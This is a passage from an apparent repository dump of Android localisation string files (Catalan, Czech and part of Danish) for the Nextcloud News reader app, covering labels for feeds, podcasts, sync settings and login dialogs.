name=\"pref_privacy_summary\">Política de privadesa d\\'Android de notícies de Nextcloud</string>\n    <string name=\"pref_news_policy\">Contacta amb nosaltres / Política de notícies</string>\n    <string name=\"pref_version\">Aplicació Android de notícies de Nextcloud</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Pantalla</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Format de llista de canals</string>\n    <string name=\"pref_title_font_size\">Mida de la lletra</string>\n    <string name=\"pref_display_browser\">Navegador</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Icones d\\'acció (vista detallada)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Per defecte del sistema</string>\n    <string name=\"pref_display_apptheme_light\">Clar</string>\n    <string name=\"pref_display_apptheme_dark\">Fosc</string>\n\n    <string name=\"pref_oled_mode\">Fons negre</string>\n    <string name=\"pref_oled_mode_summary\">Per tema fosc en pantalles OLED</string>\n\n    <string name=\"pref_external_player\">Reproductor extern</string>\n    <string name=\"pref_external_player_summary\">Reprodueix pòdcasts a l\\'aplicació multimèdia predeterminada</string>\n\n    <string name=\"pref_display_browser_cct\">Pestanyes personalitzades integrades al Chrome</string>\n    <string name=\"pref_display_browser_built_in\">Navegador integrat</string>\n    <string name=\"pref_display_browser_external\">Navegador extern</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Miniatures (només capçaleres)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Miniatures</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Text simple</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Capçaleres</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Tot el text</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Disposició de la web</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Vista de la targeta de contacte</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Petit</string>\n    <string name=\"pref_display_font_size_d\">Per defecte</string>\n    <string name=\"pref_display_font_size_l\">Gran</string>\n    <string name=\"pref_display_font_size_xl\">Molt gran</string>\n\n    <string name=\"content_desc_play\">Joguina</string>\n    <string name=\"content_desc_pause\">Posa en pausa</string>\n    <string name=\"content_desc_playback_speed\">Velocitat de reproducció</string>\n    <string name=\"content_desc_rewind\">Rebobina</string>\n    <string name=\"content_desc_forward\">Reenvia</string>\n    <string name=\"content_desc_expand\">Expandeix</string>\n    <string name=\"content_desc_collapse\">Replega</string>\n    <string name=\"content_desc_mark_as_read\">Marca com a llegit</string>\n    <string name=\"content_desc_mark_as_unread\">Marca com a sense llegir</string>\n    <string name=\"content_desc_tap_to_refresh\">Toca per actualitzar</string>\n    <string name=\"content_desc_add_to_favorites\">Afegeix a favorits</string>\n    <string name=\"content_desc_remove_from_favorites\">Suprimeix dels preferits</string>\n    <string name=\"content_desc_show_password\">Mostra la contrasenya</string>\n    <string name=\"content_desc_delete\">Eliminar</string>\n    <string name=\"content_desc_download\">Baixa</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Error</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Sembla com si la vostra aplicació de notícies no estigués instal·lada o activada al vostre servidor. Si us plau, seguiu aquestes instruccions per configurar-la primer al vostre servidor: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Alguna cosa ha fallat :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">L\\'aplicació de notícies de web ha retornat la versió \\\"0\\\". Si us plau, feu un cop d\\'ull al següent informe d\\'error: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Aquesta versió d\\'aplicació no és compatible amb la vostra aplicació de notícies de Nextcloud. Si us plau, actualitzeu l\\'aplicació de notícies i el seu marc de treball.</string>\n    <string name=\"login_dialog_title_security_warning\">Avís de seguretat</string>\n    <string name=\"login_dialog_text_security_warning\">No esteu fent servir HTTPS, i no és gens recomanable. Un atacant podria interceptar el vostre trafic de dades i guanyar accés a les vostres dades més sensibles (p.ex. la vostra contrasenya).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">S\\'ha produït un error. Torneu-ho a provar.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Sincronització &amp; de dades </string>\n    <string name=\"pref_title_clearCache\">Esborra la memòria cau</string>\n    <string name=\"pref_title_CacheImagesOffline\">Comprimeix imatges fora de línia</string>\n    <string name=\"pref_title_Max_Cache_Size\">Memòria cau màxima</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Mai</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Només quan hi hagi WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Sobre mòbil WiFi &amp;</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Pregunta-m\\'ho quan no estigui connectat a una xarxa Wi-Fi</string>\n\n    <string name=\"array_sync_interval_min_0\">Mai</string>\n    <string name=\"array_sync_interval_min_5\">5 minuts</string>\n    <string name=\"array_sync_interval_min_15\">15 minuts</string>\n    <string name=\"array_sync_interval_min_30\">30 minuts</string>\n    <string name=\"array_sync_interval_min_45\">45 minuts</string>\n    <string name=\"array_sync_interval_hour_1\">1 hora</string>\n    <string name=\"array_sync_interval_hour_2\">2 hores</string>\n    <string name=\"array_sync_interval_hour_3\">3 hores</string>\n    <string name=\"array_sync_interval_hour_6\">6 hores</string>\n    <string name=\"array_sync_interval_hour_12\">12 hores</string>\n    <string name=\"array_sync_interval_hour_24\">24 hores</string>\n    <string name=\"switch_account\">Canvia el compte</string>\n    \n    <string name=\"successfully_exported\">S\\'ha importat correctament a:</string>\n    <string name=\"opml_export\">Exportació OPML</string>\n    <string name=\"parsing_opml\">S\\'està analitzant OPML</string>\n    <string name=\"please_wait\">Espereu…</string>\n    <string name=\"interval_sync_title\">Sincronització de l\\'interval</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-cs-rCZ/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Automatická synchronizace</string>\n    <string name=\"title_activity_sync_interval_selector\">Interval synchronizace</string>\n    <string name=\"empty_view_content\">Žádné položky</string>\n    <string name=\"empty_view_content_action\">Znovu načtete popotažením směrem dolů</string>\n    <string name=\"toast_GettingMoreItems\">Zahájeno stahování vícero položek. Čekejte …</string>\n    <string name=\"no_wifi_available\">Nepřipojeno k WiFi</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Chcete stáhnout obrázky bez Wi-Fi připojení?</string>\n    <string name=\"current_version\">Používáte verzi %s</string>\n    <string name=\"widget_header\">Nextcloud Novinky</string>\n    <string name=\"message_bar_scroll_top\">Znovu načíst a odrolovat nahoru</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d nová položka k dispozici</item>\n        <item quantity=\"few\">%d nové položky k dispozici</item>\n        <item quantity=\"many\">%d nových položek k dispozici</item>\n        <item quantity=\"other\">%d nové položky k dispozici</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Načíst znovu</string>\n    <string name=\"allUnreadFeeds\">Všechny nepřečtené položky</string>\n    <string name=\"starredFeeds\">Položky s hvězdičkou</string>\n    <string name=\"downloadedPodcasts\">Stažené podcasty</string>\n    <string name=\"title_activity_new_feed\">Přidat nový kanál</string>\n\n    <string name=\"menu_update\">Načíst znovu</string>\n    <string name=\"menu_markAllAsRead\">Označit vše jako přečtené</string>\n    <string name=\"menu_StartImageCaching\">Stáhnout obrázky</string>\n    <string name=\"menu_downloadMoreItems\">Stáhnout další položky</string>\n\n    <string name=\"tv_showing_cached_version\">Zobrazuje se verze z mezipaměti</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">S hvězdičkou</string>\n    <string name=\"action_read\">Číst</string>\n    <string name=\"action_playPodacst\">Přehrát podcast</string>\n    <string name=\"action_removePodcast\">Odebrat podcast médium</string>\n    <string name=\"action_openInBrowser\">Otevřít ve webovém prohlížeči</string>\n    <string name=\"action_Share\">Sdílet</string>\n    <string name=\"action_login\">Nastavení serveru</string>\n    <string name=\"action_save\">Uložit</string>\n    <string name=\"action_settings\">Nastavení</string>\n    <string name=\"action_sync_settings\">Nastavení synchronizace</string>\n    <string name=\"action_add_new_feed\">Přidat nový kanál</string>\n    <string name=\"action_add_new_folder\">Přidat novou složku</string>\n    <string name=\"action_textToSpeech\">Přečíst</string>\n    <string name=\"action_search\">Hledat</string>\n    <string name=\"action_download_articles_offline\">Stáhnout články pro čtení bez připojení</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Stahování článků pro čtení bez připojení</string>\n    <string name=\"notification_download_images_offline\">Stahování obrázků pro zobrazování bez připojení</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Máte %d novou nepřečtenou položku</item>\n        <item quantity=\"few\">Máte %d nové nepřečtené položky</item>\n        <item quantity=\"many\">Máte %d nových nepřečtených položek</item>\n        <item quantity=\"other\">Máte %d nové nepřečtené položky</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d nová nepřečtená položka k dispozici</item>\n        <item quantity=\"few\">%d nové nepřečtené položky k dispozici</item>\n        <item quantity=\"many\">%d nových nepřečtených položek k dispozici</item>\n        <item quantity=\"other\">%d nové nepřečtené položky k dispozici</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL kanálu</string>\n    <string name=\"action_add_feed\">Přidat kanál</string>\n    <string name=\"import_opml\">Importovat OPML</string>\n    <string name=\"export_opml\">Exportovat OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Stáhnout obrázek</string>\n    <string name=\"action_img_sharelink\">Sdílet odkaz na obrázek</string>\n    <string name=\"action_img_open\">Otevřít obrázek v prohlížeči (webovém)</string>\n    <string name=\"action_img_copylink\">Zkopírovat odkaz na obrázek</string>\n    <string name=\"action_link_share\">Sdílet odkaz</string>\n    <string name=\"action_link_open\">Otevřít odkaz v prohlížeči</string>\n    <string name=\"action_link_copy\">Zkopírovat odkaz</string>\n    <string name=\"toast_img_download_wait\">Stahuje se. Čekejte …</string>\n    <string name=\"toast_img_saved\">Obrázek uložen</string>\n    <string name=\"toast_img_notwriteable\">Obrázek se nepodařilo zapsat.</string>\n    <string name=\"toast_copied_to_clipboard\">Zkopírováno do schránky</string>\n    <string name=\"error_download_failed\">Stažení se nezdařilo</string>\n    <string name=\"intent_title_share\">Sdílet prostřednictvím</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Odstranit kanál</string>\n    <string name=\"action_feed_rename\">Přejmenovat kanál</string>\n    <string name=\"action_feed_move\">Přesunout kanál</string>\n    <string name=\"action_feed_notification_settings\">Nastavení upozorňování</string>\n    <string name=\"action_feed_open_in\">Nastavení „Otevírat pomocí“</string>\n    <string name=\"action_feed_open_in_general_setting\">Použít obecné nastavení</string>\n    <string name=\"action_feed_open_in_detailed_view\">Podrobné zobrazení</string>\n    <string name=\"feed_remove_button\">Odstranit</string>\n    <string name=\"feed_rename_button\">Přejmenovat</string>\n    <string name=\"confirm_feed_remove\">Opravdu chcete odstranit tento kanál? Toto nelze vrátit zpět!</string>\n    <string name=\"feed_move_list_description\">Vyberte složku do které kanál přesunout</string>\n    <string name=\"move_feed_root_folder\">Kořenová složka</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Odstranit složku</string>\n    <string name=\"action_folder_rename\">Přejmenovat složku</string>\n    <string name=\"folder_remove_button\">Odebrat</string>\n    <string name=\"folder_rename_button\">Přejmenovat</string>\n    <string name=\"confirm_folder_remove\">Opravdu chcete odstranit tuto složku? Toto nelze vrátit zpět!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Pro tento kanál dostávat samostatná upozornění</string>\n    <string name=\"notification_feed_default\">Všechny kanály, které mají výchozí nastavení, se objeví v jednom upozornění</string>\n    <string name=\"notification_feed_none\">Vůbec žádná upozornění</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Přidat</string>\n    <string name=\"hint_folder_name\">Název složky</string>\n    <string name=\"folder_already_exists\">Složka už existuje</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Ruční přihlášení</string>\n    <string name=\"login_sso\">Přihlášení pomocí aplikace Nextcloud (synchr. souborů) pro Android</string>\n    <string name=\"pref_title_username\">Uživatelské jméno</string>\n    <string name=\"pref_title_password\">Heslo</string>\n    <string name=\"pref_title_owncloudRootPath\">Kořenová adresa Nextcloud </string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Přihlásit</string>\n    <string name=\"login_progress_signing_in\">Přihlašování …</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Tuto kolonku je třeba vyplnit</string>\n    <string name=\"error_invalid_url\">Nesprávná URL</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">Označena %d položka jako přečtená</item>\n        <item quantity=\"few\">Označeny %d položky jako přečtené</item>\n        <item quantity=\"many\">Označeno %d položek jako přečtené</item>\n        <item quantity=\"other\">Označeny %d položky jako přečtené</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Stažena %d stará položka</item>\n        <item quantity=\"few\">Staženo %d staré položky</item>\n        <item quantity=\"many\">Staženo %d starých položek</item>\n        <item quantity=\"other\">Staženy %d staré položky</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Nejsou k dispozici žádné další položky</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Stažena %d položka …</item>\n        <item quantity=\"few\">Staženy %d položky …</item>\n        <item quantity=\"many\">Staženo %d položek …</item>\n        <item quantity=\"other\">Staženy %d položky …</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Nastavení</string>\n    <string name=\"cache_is_cleared\">Mezipaměť vyčištěna!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Obecné</string>\n    <string name=\"pref_title_general_sort_order\">Pořadí řazení</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Nové → Staré</string>\n    <string name=\"pref_general_sort_order_old_new\">Staré → Nové</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Akce při přejetí prstem doprava</string>\n    <string name=\"pref_rename_action_swipe_left\">Akce při přejetí prstem doleva</string>\n\n    <string name=\"pref_title_general_search_in\">Hledat v</string>\n\n    <string name=\"pref_general_search_in_title\">Nadpisu</string>\n    <string name=\"pref_general_search_in_body\">Těle textu</string>\n    <string name=\"pref_general_search_in_both\">Obojí</string>\n\n    <string name=\"dialog_clearing_cache\">Vyprazdňování mezipaměťi</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Maže se mezipaměť. Čekejte …</string>\n    <string name=\"reset_cache_unsaved_changes\">Existují nesesynchronizované změny. Přejete si přesto vyprázdnit mezipaměť?</string>\n    <string name=\"warning\">Varování</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Synchronizovat při spuštění</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Zobrazit pouze nepřečtené články</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Vypnout ověřování názvu hostitele</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Pohybovat se pomocí tlačítek hlasitosti</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Posouváním po stránce ji označit jako přečtenou</string>\n    <string name=\"pref_title_SyncWhenScrolledToBottom\">Synchronizovat při odrolování na konec</string>\n    <string name=\"pref_title_ShowFastActions\">Aktivovat funkce pro rychlý přístup</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Přeskočit podrobné zobrazení a otevřít článek v prohlížeči</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Tlačítko zpět otevře výsuvný panel</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Přijmout neznámý certifikát?</string>\n    <string name=\"mtm_decision_always\">Vždy</string>\n    <string name=\"mtm_decision_abort\">Přerušit</string>\n    <string name=\"mtm_notification\">Ověření certifikátu</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Nevybrán žádný podcast</string>\n    <string name=\"no_chapters_available\">Nejsou k dispozici žádné kapitoly</string>\n    <string name=\"exit_playback\">Ukončit přehrávač</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Rychlost přehrávání</string>\n    <string name=\"notification_downloading_podcast_title\">Stahuje se podcast</string>\n    <string name=\"dialog_podcast_remove_title\">Opravdu to chcete?</string>\n    <string name=\"dialog_podcast_remove_body\">Opravdu chcete odebrat stažená média pro %1$s?</string>\n    <string name=\"dialog_podcast_status_failed\">Nepodařilo se odebrat médium pro %1$s</string>\n    <string name=\"dialog_podcast_status_success\">Médium pro %1$s bylo odebráno</string>\n    <string name=\"dialog_podcast_remove_confirm\">Odebrat</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">O aplikaci</string>\n    <string name=\"pref_license\">Licence</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) verze 3</string>\n    <string name=\"pref_report_issue\">Nahlásit problém</string>\n    <string name=\"pref_report_issue_summary\">Vyžaduje účet na portálu GitHub (zdarma)</string>\n    <string name=\"pref_contribute\">Zapojte se!</string>\n    <string name=\"pref_contribute_summary\">Získat zdrojové kódy</string>\n    <string name=\"pref_privacy\">Soukromí</string>\n    <string name=\"pref_privacy_summary\">Zásady ochrany soukromí aplikace Nextcloud Novinky pro Android</string>\n    <string name=\"pref_news_policy\">Obraťte se na nás / Zásady novinek</string>\n    <string name=\"pref_news_policy_summary\">Zásady Nextcloud (Android) Novinek / Obraťte se na nás</string>\n    <string name=\"pref_version\">Aplikace Nextcloud Novinky pro Android</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Zobrazení</string>\n    <string name=\"pref_title_app_theme\">Motiv vzhledu</string>\n    <string name=\"pref_title_feed_list_layout\">Rozvržení seznamu kanálů</string>\n    <string name=\"pref_title_font_size\">Velikost písmen</string>\n    <string name=\"pref_display_browser\">Prohlížeč</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Ikony akce (podrobné zobrazení)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Systémový výchozí</string>\n    <string name=\"pref_display_apptheme_light\">Světlý</string>\n    <string name=\"pref_display_apptheme_dark\">Tmavý</string>\n\n    <string name=\"pref_oled_mode\">Černé pozadí</string>\n    <string name=\"pref_oled_mode_summary\">Pro tmavý motiv vzhledu na OLED obrazovkách</string>\n\n    <string name=\"pref_detailed_view_zoom\">Přiblížení podrobného zobrazení</string>\n    <string name=\"pref_detailed_view_zoom_summary\">Povolit zvětšení obsahu v detailním pohledu</string>\n\n    <string name=\"pref_external_player\">Externí přehrávač</string>\n    <string name=\"pref_external_player_summary\">Přehrávat podcasty ve výchozí aplikaci pro média</string>\n\n    <string name=\"pref_display_browser_cct\">Vestavěné Chrome vlastní karty</string>\n    <string name=\"pref_display_browser_built_in\">Vestavěný prohlížeč</string>\n    <string name=\"pref_display_browser_external\">Externí prohlížeč</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Náhledy (pouze nadpisy)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Náhledy</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Jen text</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Nadpisy</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Formátovaný text</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Webové rozvržení</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Zobrazení s kartami</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Malé</string>\n    <string name=\"pref_display_font_size_d\">Výchozí</string>\n    <string name=\"pref_display_font_size_l\">Velké</string>\n    <string name=\"pref_display_font_size_xl\">Extra velké</string>\n\n    <string name=\"content_desc_play\">Přehrát</string>\n    <string name=\"content_desc_pause\">Pozastavit</string>\n    <string name=\"content_desc_playback_speed\">Rychlost přehrávání</string>\n    <string name=\"content_desc_rewind\">Přeskočit na začátek/konec</string>\n    <string name=\"content_desc_forward\">Přeposlat</string>\n    <string name=\"content_desc_expand\">Rozbalit</string>\n    <string name=\"content_desc_collapse\">Sbalit</string>\n    <string name=\"content_desc_mark_as_read\">Označit jako přečtené</string>\n    <string name=\"content_desc_mark_as_unread\">Označit jako nepřečtené</string>\n    <string name=\"content_desc_tap_to_refresh\">Znovu načtete klepnutím</string>\n    <string name=\"content_desc_add_to_favorites\">Přidat do oblíbených</string>\n    <string name=\"content_desc_remove_from_favorites\">Odebrat z oblíbených</string>\n    <string name=\"content_desc_show_password\">Zobrazit heslo</string>\n    <string name=\"content_desc_delete\">Smazat</string>\n    <string name=\"content_desc_download\">Stáhnout</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Chyba</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Vypadá to, že aplikace Novinky není na serveru nainstalovaná nebo zapnutá. Postupujte podle zde uvedených pokynů a nastavte aplikaci Novinky na serveru: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Něco se pokazilo :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Protějšek, aplikace Novinky na Nextcloud serveru, vrátila verzi „0“. Podívejte se do následujícího hlášení chyby: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Tato verze mobilní aplikace není kompatibilní s aplikací Nextcloud Novinky na straně vámi využívaného serveru. Aktualizujte tam ji i její aplikační rámec (framework).</string>\n    <string name=\"login_dialog_title_security_warning\">Varování ohledně zabezpečení</string>\n    <string name=\"login_dialog_text_security_warning\">Nepoužíváte HTTPS, což je silně NEdoporučeno. Útočník může zachytit váš provoz a získat přístup k nějakým citlivým datům (např. vašemu heslu).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Něco se pokazilo. Zkuste to znovu.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Data a synchronizace</string>\n    <string name=\"pref_title_clearCache\">Vyprázdnit mezipaměť</string>\n    <string name=\"pref_title_CacheImagesOffline\">Ukládat obrázky do mezipaměti</string>\n    <string name=\"pref_title_Max_Cache_Size\">Nejvyšší umožněná velikost mezipaměti</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nikdy</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Pouze přes WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Přes WiFi a mobilní data</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Když nepřipojeno k WiFi, dotázat se</string>\n\n    <string name=\"array_sync_interval_min_0\">Nikdy</string>\n    <string name=\"array_sync_interval_min_5\">5 minut</string>\n    <string name=\"array_sync_interval_min_15\">15 minut</string>\n    <string name=\"array_sync_interval_min_30\">30 minut</string>\n    <string name=\"array_sync_interval_min_45\">45 minut</string>\n    <string name=\"array_sync_interval_hour_1\">1 hodina</string>\n    <string name=\"array_sync_interval_hour_2\">2 hodiny</string>\n    <string name=\"array_sync_interval_hour_3\">3 hodiny</string>\n    <string name=\"array_sync_interval_hour_6\">6 hodin</string>\n    <string name=\"array_sync_interval_hour_12\">12 hodin</string>\n    <string name=\"array_sync_interval_hour_24\">24 hodin</string>\n    <string name=\"switch_account\">Přepnout účet</string>\n    \n    <string name=\"successfully_exported\">Úspěšně exportováno do:</string>\n    <string name=\"opml_export\">OPML Export</string>\n    <string name=\"parsing_opml\">Zpracovávání OPML</string>\n    <string name=\"please_wait\">Čekejte …</string>\n    <string name=\"interval_sync_title\">Interval synchronizace</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-da/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Automatisk synkronisering </string>\n    <string name=\"title_activity_sync_interval_selector\">Synkroniseringsinterval</string>\n    <string name=\"empty_view_content\">Her er ingen artikler</string>\n    <string name=\"empty_view_content_action\">Træk ned for at genindlæse</string>\n    <string name=\"toast_GettingMoreItems\">Download af flere elementer begyndt. Vent venligst...</string>\n    <string name=\"no_wifi_available\">Ingen WiFi-forbindelse</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Ønsker du at downloade billederne uden en WiFi forbindelse?</string>\n    <string name=\"current_version\">Du bruger version %s</string>\n    <string name=\"widget_header\">ownCloud nyheder</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d nyt element er tilgængeligt</item>\n        <item quantity=\"other\">%d nye elementer er tilgængelige</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Genindlæs</string>\n    <string name=\"allUnreadFeeds\">Alle ulæste artikler</string>\n    <string name=\"starredFeeds\">Markerede artikler</string>\n    <string name=\"downloadedPodcasts\">Downloadede podcasts</string>\n    <string name=\"title_activity_new_feed\">Tilføj nyt feed</string>\n\n    <string name=\"menu_update\">Opdatér</string>\n    <string name=\"menu_markAllAsRead\">Marker alle som læst</string>\n    <string name=\"menu_StartImageCaching\">Hent billeder</string>\n    <string name=\"menu_downloadMoreItems\">Hent flere artikler</string>\n\n    <string name=\"tv_showing_cached_version\">Viser version fra midlertidigt lager</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Stjernemarkeret</string>\n    <string name=\"action_read\">Læst</string>\n    <string name=\"action_playPodacst\">Afspil podcast</string>\n    <string name=\"action_removePodcast\">Fjern podcastmediet</string>\n    <string name=\"action_openInBrowser\">Åbn i browser</string>\n    <string name=\"action_Share\">Del</string>\n    <string name=\"action_login\">Server-indstillinger</string>\n    <string name=\"action_save\">Gem</string>\n    <string name=\"action_settings\">Indstillinger</string>\n    <string name=\"action_sync_settings\">Synkroniseringsindstillinger</string>\n    <string name=\"action_add_new_feed\">Tilføj nyt feed</string>\n    <string name=\"action_add_new_folder\">Tilføj ny mappe</string>\n    <string name=\"action_textToSpeech\">Læs højt</string>\n    <string name=\"action_search\">Søg</string>\n    <string name=\"action_download_articles_offline\">Hent artikler offline</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Henter artikler til offline brug</string>\n    <string name=\"notification_download_images_offline\">Henter billeder til offline brug</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Du har %d nyt, ulæst element</item>\n        <item quantity=\"other\">Du har %d nye, ulæste elementer</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d nyt, ulæst element er tilgængeligt</item>\n        <item quantity=\"other\">%d nye, ulæste elementer er tilgængelige</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Feed URL</string>\n    <string name=\"action_add_feed\">Tilføj feed</string>\n    <string name=\"import_opml\">Importér OPML</string>\n    <string name=\"export_opml\">Eksportér OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Download billede</string>\n    <string name=\"action_img_sharelink\">Del Billedlink</string>\n    <string name=\"action_img_open\">Åbn Billede i Browser</string>\n    <string name=\"action_img_copylink\">Kopier Billedlink</string>\n    <string name=\"action_link_share\">Del Link</string>\n    <string name=\"action_link_open\">Åbn Link i Browser</string>\n    <string name=\"action_link_copy\">Kopier link</string>\n    <string name=\"toast_img_download_wait\">Henter. Vent venligst ...</string>\n    <string name=\"toast_img_saved\">Billede gemp</string>\n    <string name=\"toast_img_notwriteable\">Fejl ved lagring af billede.</string>\n    <string name=\"toast_copied_to_clipboard\">Kopieret til udklipsholder</string>\n    <string name=\"error_download_failed\">Download fejlede</string>\n    <string name=\"intent_title_share\">Del via</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Fjern feed</string>\n    <string name=\"action_feed_rename\">Omdøb feed</string>\n    <string name=\"action_feed_move\">Flyt feed</string>\n    <string name=\"action_feed_notification_settings\">Meddelelsesindstillinger</string>\n    <string name=\"action_feed_open_in\">Åbn i indstillinger</string>\n    <string name=\"action_feed_open_in_general_setting\">Brug generelle indstillinger</string>\n    <string name=\"action_feed_open_in_detailed_view\">Detaljerede visning</string>\n    <string name=\"feed_remove_button\">Fjern</string>\n    <string name=\"feed_rename_button\">Omdøb</string>\n    <string name=\"confirm_feed_remove\">Ønsker du virkelig at slette denne strøm. Det kan ikke fortrydes?</string>\n    <string name=\"feed_move_list_description\">Vælg mappe at flytte strøm til </string>\n    <string name=\"move_feed_root_folder\">Rodmappe</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Fjern mappe</string>\n    <string name=\"action_folder_rename\">Omdøb mappe</string>\n    <string name=\"folder_remove_button\">Fjern</string>\n    <string name=\"folder_rename_button\">Omdøb</string>\n    <string name=\"confirm_folder_remove\">Vil du gerne fjerne denne mappe? Dette kan ikke fortrydes!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string 